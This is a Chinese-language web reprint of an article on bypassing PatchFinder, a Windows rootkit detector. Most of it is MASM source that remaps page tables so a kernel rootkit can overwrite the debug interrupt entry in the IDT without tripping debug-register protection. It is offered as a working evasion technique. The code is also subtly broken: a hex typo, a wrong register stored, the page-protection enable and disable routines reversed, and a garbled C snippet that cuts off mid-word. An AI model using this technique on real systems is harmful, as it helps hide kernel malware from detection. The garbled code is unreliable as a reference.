分享
 
 
 

绕过WindowsRootkit检测系统

王朝system·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

[介绍]

PatchFinder是一个设计很巧妙的程序,基于EPA(执行路径分析)技术用来检测侵入内核的Rootkit。附录1和2可以让你了解它是如何工作的。这篇文章将提供一种绕开EPA的方法。

[方法]

EPA基于Intel处理器的单步模式,使用中断描述符表(IDT)的0x01入口。为了防止Rootkit修改这个入口,它使用调试寄存器(DR0、DR1)来保护调试处理程序(很不错的主意)。由DR0寄存器保护0x1入口,而由DR1寄存器保护中断处理程序。(注1:)

但是,让我们再读一遍Inter Manual [3]:“每个调试地址寄存器(DR0到DR3)保存32位的断点的线性地址”。注意:线性地址!在Windows 2000/XP下,通过分页机制把线性地址转换为物理地址。假设IDT的基地址是在0x8003F400,保存在IDTR中,那么IDT的0x01入口地址就是0x8003F408。Intel有关IDTR的说明:“基地址标明了IDT的0x00入口地址。”WIndows 2000/XP下由CR3寄存器指向的页目录被映射到线性地址0xC0300000。线性地址是由目录、表和偏移组成,通过分页机制我们将0x8003F408转换为物理地址就是0x03F00(由实验中得来)。现在我们要做的就是创建一个缓冲区,获取指向缓冲区的指针并修改页目录和页表使这个缓冲区指向物理地址0x03F00。然后,向这个缓冲区中写入的东西就会写入IDT,并且不会触发PatchFinder的保护机制。调试寄存器是根本无法保护内存的,因为它们无法保护物理内存。

[源代码]

这里是源代码,由MASM v8.0汇编。因为我喜欢汇编语言:-)完全的源代码可以在www.rootkit.com找到。

;---定义IDTR结构-------

DIDTR STRUCT

;IDTR

dLIMIT

WORD

?

ibase

DWORD

?

DIDTR ENDS

;-----------------------

ByepassIDTProtection PROC

LOCAL dbgHandler:DWORD

LOCAL myIDT:DIDTR

LOCAL idtbase:DWORD

LOCAL idtbaseoff:DWORD

LOCAL idtPDE:DWORD

LOCAL idtPDEaddr:DWORD

LOCAL idtPTE:DWORD

LOCAL idtPTEaddr:DWORD

LOCAL varbase:DWORD

LOCAL varbaseoff:DWORD

LOCAL varPDE:DWORD

LOCAL varPDEaddr:DWORD

LOCAL varPTE:DWORD

LOCAL varPTEaddr:DWORD

LOCAL diffoffset:DWORD

pushad

;分配一个页大小的内存(从非分页池中分配)

invoke ExAllocatePool,NonPagedPoolMustSucceed,01000h

mov varbase,eax

cli

;记得恢复

invoke DisablePageProtection

;对XP,Regmon使用的一个很老的技巧

sidt myIDT

mov eax,myIDT.ibase

add eax,08h

mov idtbase,eax

;idtbase = IDT的基地址 + 8字节

and eax,0FFC00000h

;获取IDT地址的目录索引

shr eax,22

shl eax,2

;乘与4

mov ebx,0C0300000h

;0C0300000 = 页目录

add ebx,eax

;ebx = [页目录 + 目录索引*4]

mov idtPDEaddr,ebx

mov eax,[ebx]

mov idtPDE,eax

;eax = IDT地址的页目录入口(PDE)

mov eax,idtbase

and eax,oFFFh

;获取IDT地址的低12位 =

页内偏移

mov idtbaseoff,eax

mov eax,idtbase

shr eax,12

;获取IDT地址的高12位

shl eax,2

;乘与4

mov ebx,0C0000000h

;进程页表映射在0xC0000000开始的4MB空间中

add ebx,eax

mov idtPTEaddr,eax

;IDT地址的PTE的地址

mov eax,[ebx]

mov idtPTE,eax

;取该地址的PTE

mov eax,varbase

and eax,0FFC00000h

;获取varbase的页目录索引

shr eax,22

shl eax,2

mov ebx,0C0300000h

add ebx,eax

mov varPDEaddr,ebx

mov eax,[ebx]

mov varPDE,eax

mov eax,varbase

and eax,0FFFh

mov varbaseoff,eax

mov eax,varbase

shr eax,12

shl eax,2

mov ebx,0C0000000h

add ebx,eax

mov varPTEaddr,ebx

mov eax,[ebx]

mov varPTE,eax

mov eax,varPDEaddr

;修改PDE为和IDT0x01的一样

mov ebx,idtPDE

mov [eax],ebx

mov eax,varPTEaddr

;修改PTE为和IDT0x01的一样

mov ebx,idtPTE

mov [eax],ebx

mov ebx,idtbaseoff

;修正页内偏移

mov eax,varbaseoff

sub ebx,eax

;现在我们可以使用线性地址向IDT的0x01描述符内写入东西而不会触发调试寄存器

mov eax,varbase

mov dword ptr [eax+ebx],0DEADBEEFh

mov eax,varPDEaddr

;恢复原来的值

mov ebx,varPDE

mov [eax],ebx

mov eax,varPTEaddr

;恢复原来的值

mov ebx,varPTE

mov [eax],ebx

invoke EnablePageProtection

;恢复CR0寄存器的WP标志

sti

popad

ret

BypassIDTProtection ENDP

;::::::::::::::::::::::::::::::::::::::::

EnablePageProtection PROC

push eax

mov eax,CR0

and eax,0FFFEFFFFh

mov CR0,eax

pop eax

ret

EnablePageProtection ENDP

;::::::::::::::::::::::::::::::::::::::::

DisablePageProtection PROC

push eax

mov eax,CR0

or eax,NOT 0FFFEFFFFh

mov CR0,eax

pop eax

ret

DisablePageProtection ENDP

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

[Rootkit的未来]

很不幸,这种方法使EPA变得没用。如果微软不改变它的安全结构,没有一种办法能在未来阻止rookits。未来的rootkit会在分页机制上大有作为,这种有无限种可能性。一旦进入Ring 0,那么永远在Ring 0。

[参考]

[1] Joanna Rutkowska,Advanced Windows 2000 Rootkit Detection(高级Rootkit检测技术)

[2] Joanna Rutkowska,Detecting Windows Server Compromises with PatchFinder2

[3] IA32 Intel Architeture Softwares Developer's Manual, vol 1-3

注1:

这个图无法画出,就是画出了读者也不一定能看得明白(因为画的实在太简单了-_-)。我在这里补充一下用调试寄存器保护地址的原理。首先是DR0-DR4这4个调试寄存器保存了4个线性地址,然后通过DR7寄存器的相关位并检查DR6寄存器的相关位来对这4个地址进行相关操作。参考以下代码:

#define DB_PROT_EXEC

0

#define DB_PROT_WRITE 1

#define DB_PROT_RW

3

#define DB_DR0 0

#define DB_DR1 1

#define DB_DR2 2

#define DB_DR3 3

#define DB_LEN_1B 0

#define DB_LEN_2B 1

#define DB_LEN_4B 3

int dbProtect (int reg, int addr, int len, int protection) {

unsigned int dr7mask;

switch (reg) {

case 0:

__asm {

mov eax, addr;

mov DR0, eax;

}

break;

case 1:

__asm {

mov eax, addr;

mov DR1, eax;

}

break;

case 2:

__asm {

mov eax, addr;

mov DR2, eax;

}

break;

case 3:

__asm {

mov eax, addr;

mov DR3, eax;

}

break;

}

dr7mask = 0x2

dr7mask |= (( (len

__asm {

mov eax, DR7;

or

eax, dr7mask;

mov DR7, eax;

}

return 1;

}

int dbSetGeneralProtection () {

__asm {

mov eax, DR7;

or eax, 0x1000;

mov DR7, eax;

}

return 1;

}

然后在中断处理程序中还要加入下面几句代码:

mo

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有